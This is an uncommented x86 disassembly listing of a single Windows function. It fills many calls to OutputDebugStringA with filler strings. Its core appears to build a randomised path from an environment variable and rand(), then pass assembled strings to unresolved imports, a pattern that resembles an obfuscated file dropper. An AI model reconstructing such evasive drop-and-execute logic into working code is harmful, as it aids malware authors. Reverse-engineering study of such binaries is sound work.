call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x40958f
mov byte [ebp - 0x3c4], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3c3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp dword [ebp - 0x270], 0
jne 0x409607
lea ecx, [ebp - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x104
lea edx, [ebp - 0x3c4]
push edx
push 0
call dword [0x40cb04]
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp dword [ebp - 0x13c], 0
jne 0x40964a
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 0x270], 0
je 0x409670
mov ecx, dword [ebp - 0x270]
mov byte [ecx], 0x61
mov edx, dword [ebp - 0x270]
mov byte [edx + 1], 0x62
mov eax, dword [ebp - 0x270]
mov byte [eax + 2], 0
call dword [sym.imp.MSVCRT.dll_rand]
push eax
call dword [sym.imp.MSVCRT.dll_rand]
push eax
lea ecx, [ebp - 0x26c]
push ecx
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 4
push eax
lea edx, [ebp - 0x294]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [0x40cb40]
add esp, 0x14
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [0x40cb1c]
cmp dword [ebp - 0x13c], 0
je 0x4096db
mov edx, dword [ebp - 0x13c]
mov byte [edx], 0x61
mov eax, dword [ebp - 0x13c]
mov byte [eax + 1], 0x62
mov ecx, dword [ebp - 0x13c]
mov byte [ecx + 2], 0
lea edx, [ebp - 0x104]
push edx
call dword [0x40cb20]
test eax, eax
jne 0x4097a0
mov byte [ebp - 0x52c], 0x65
mov byte [ebp - 0x52b], 0x72
mov byte [ebp - 0x52a], 0x72
mov byte [ebp - 0x529], 0
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 0
jne 0x40973e
lea ecx, [ebp - 0x52c]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [ebp - 0x53c], 0x65
cmp dword [ebp - 0x530], 0
je 0x40976b
mov edx, dword [ebp - 0x530]
mov byte [edx], 0x61
mov eax, dword [ebp - 0x530]
mov byte [eax + 1], 0x62
mov ecx, dword [ebp - 0x530]
mov byte [ecx + 2], 0
cmp dword [ebp - 0x530], 0
je 0x409781
mov edx, dword [ebp - 0x530]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [ebp - 0x53b], 0x72
mov byte [ebp - 0x53a], 0x72
mov byte [ebp - 0x539], 0
mov eax, 0xfffffffe
jmp 0x409b20
push 1
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x3c4]
push ecx
call fcn.00405f60
add esp, 0xc
and eax, 0xff
test eax, eax
jne 0x409875
mov byte [ebp - 0x558], 0x65
mov byte [ebp - 0x557], 0x72
mov byte [ebp - 0x556], 0x72
mov byte [ebp - 0x555], 0
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5e0], eax
mov edx, dword [ebp - 0x5e0]
mov dword [ebp - 0x55c], edx
cmp dword [ebp - 0x55c], 0
jne 0x409813
lea eax, [ebp - 0x558]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 0x55c], 0
je 0x409839
mov ecx, dword [ebp - 0x55c]
mov byte [ecx], 0x61
mov edx, dword [ebp - 0x55c]
mov byte [edx + 1], 0x62
mov eax, dword [ebp - 0x55c]
mov byte [eax + 2], 0
mov byte [ebp - 0x548], 0x65
cmp dword [ebp - 0x55c], 0
je 0x409856
mov ecx, dword [ebp - 0x55c]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [ebp - 0x547], 0x72
mov byte [ebp - 0x546], 0x72
mov byte [ebp - 0x545], 0
mov eax, 0xfffffffd
jmp 0x409b20
cmp dword [ebp - 0x138], 0
je 0x4099f1
mov dword [ebp - 0x580], 1
mov dword [ebp - 0x564], 1
push 2
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5e8], eax
mov edx, dword [ebp - 0x5e8]
mov dword [ebp - 0x578], edx
mov dword [ebp - 0x570], 0
mov dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x578]
mov byte [eax], 0
mov dword [ebp - 0x56c], 0
jmp 0x4098ea
mov ecx, dword [ebp - 0x56c]
add ecx, 1
mov dword [ebp - 0x56c], ecx
mov edx, dword [ebp - 0x56c]
cmp edx, dword [ebp - 0x564]
jge 0x409907
mov eax, dword [ebp - 0x578]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x4098db
mov dword [ebp - 0x574], 0
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5ec], eax
mov ecx, dword [ebp - 0x5ec]
mov dword [ebp - 0x57c], ecx
mov edx, dword [ebp - 0x57c]
mov dword [ebp - 0x568], edx
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0x56c], eax
mov ecx, dword [ebp - 0x564]
shl ecx, 2
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5f0], eax
mov edx, dword [ebp - 0x5f0]
mov dword [ebp - 0x570], edx
mov dword [ebp - 0x56c], 0
jmp 0x409984
mov eax, dword [ebp - 0x56c]
add eax, 1
mov dword [ebp - 0x56c], eax
mov ecx, dword [ebp - 0x56c]
cmp ecx, dword [ebp - 0x564]
jge 0x4099be
mov edx, dword [ebp - 0x578]
add edx, dword [ebp - 0x56c]
mov eax, dword [ebp - 0x56c]
mov ecx, dword [ebp - 0x570]
mov al, byte [ecx + eax*4]
mov byte [edx], al
mov ecx, dword [ebp - 0x578]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x409975
cmp dword [ebp - 0x560], 0
jne 0x4099e4
mov edx, dword [ebp - 0x57c]
mov al, byte [ebp - 0x580]
mov byte [edx], al
mov ecx, dword [ebp - 0x57c]
mov dl, byte [ebp - 0x574]
mov byte [ecx + 1], dl
mov eax, dword [ebp - 0x568]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 0x270], 0
je 0x409a07
mov ecx, dword [ebp - 0x270]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 2
lea edx, [ebp - 0x3d0]
push edx
lea eax, [ebp - 0x3c4]
push eax
call fcn.00405f60
add esp, 0xc
and eax, 0xff
test eax, eax
jne 0x409ac7
mov dword [ebp - 0x588], 1
mov byte [ebp - 0x59c], 0x65
mov byte [ebp - 0x59b], 0x72
mov byte [ebp - 0x59a], 0x72
mov byte [ebp - 0x599], 0
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5f4], eax
mov ecx, dword [ebp - 0x5f4]
mov dword [ebp - 0x5a4], ecx
mov dword [ebp - 0x58c], 0
mov dword [ebp - 0x5a0], 0
cmp dword [ebp - 0x5a4], 0
jne 0x409a98
lea edx, [ebp - 0x59c]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5f8], eax
mov eax, dword [ebp - 0x5f8]
mov dword [ebp - 0x584], eax
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x590], ecx
mov eax, 0xfffffffd
jmp 0x409b20
cmp dword [ebp - 0x13c], 0
je 0x409add
mov edx, dword [ebp - 0x13c]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x3f8]
push edx
lea eax, [ebp - 0x240]
push eax
call dword [0x40cb40]
add esp, 0x10
lea ecx, [ebp - 0x4fc]
push ecx
call dword [0x40cb20]
push 0
lea edx, [ebp - 0x240]
push edx
call dword [0x40cb24]
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10